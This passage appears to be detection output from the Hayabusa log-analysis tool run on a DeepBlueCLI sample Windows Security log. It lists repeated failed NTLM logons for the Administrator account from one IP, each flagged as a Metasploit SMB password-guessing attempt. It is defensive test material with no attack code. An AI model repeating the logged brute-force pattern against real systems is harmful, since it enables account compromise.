Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.404 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uhCVFyMmDI5shASV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.404 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yd4SM9EGM7cnO6Z5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.452 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.490 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PSR1tbtzdDaJDbXs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.490 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rNqyjBuN0Pq6WRO1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.538 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vqpMAmE9OvHbFCh2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.585 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JfLQAaB0DPvxWQMB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.632 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A0kvHMwnj2k0HMLQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.676 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kPqfVDftcR4iRDaw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.712 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1bltwm2g13InAJM6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.748 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.788 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J2iFr8ppe5NzukXF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.788 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7EEUOBohBFRze6hL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.842 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.887 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NCOFn3WM71KmaZyB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.887 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UdUkBxB1auduRfdS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.928 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.980 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E2JaWoYK56HRGfW1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.980 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.015 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a3JTCX9NIOpg6TFB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.015 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.064 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zFGkdUVAdKcrrREB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.064 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.108 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7oZW00FpKema01Vw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.108 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.151 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p4HbNQx0Acf83b1h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.151 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j9aM5UCQbOLvcpI0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.196 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BGGChEAIdej9lBhr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.238 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4CaFYB1ImWAWbH0W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OLa3lkxWiJ00raQh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.320 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vMzyi0jIVLNrodC8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.364 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n2repX0roAP2j0TI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.409 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.460 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gqcpIjdkNpmoTe4A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.460 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.488 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Edgo9UdNvmMJpiyn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.488 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LpqOTu7Xn7ULipmN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.532 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.567 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TP0efL79STMbuu9g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.567 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HkwWfRi0E5sVY6UT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.610 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IkyCe9NXGExCQS5r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.657 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.698 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IGnhRwa7P7by9vJO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.698 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.740 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fh7IGliNbSyKwxpM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.740 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.782 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1QfgWsAqSYQfB9l5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.782 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.821 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q8VM66P8Vluf7yrL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.821 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cdYiwh3QjdA0Zoge : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.861 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ou3FPUI5bFcUvuFC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.904 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bMUg8N7apFtUgX9d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.952 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.991 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U7Cn4n7jQAQaxP6y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:13.991 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: urflPvd1vgYYi2ra : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.024 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pqFtTDD69fNTKROG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.081 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.113 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: teUZYpNyqJ64Dgcz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.113 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.152 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9kaKSy3DV5fRKvTc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.152 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gtiZUzpwrnuWIjna : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.196 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SD9UhsShNJRp251r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.238 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C5xbL7aO0azgBxfz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.342 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xqrUpW8PpI9RAeGk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.342 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M80K04eYwfwdzIul : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.452 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 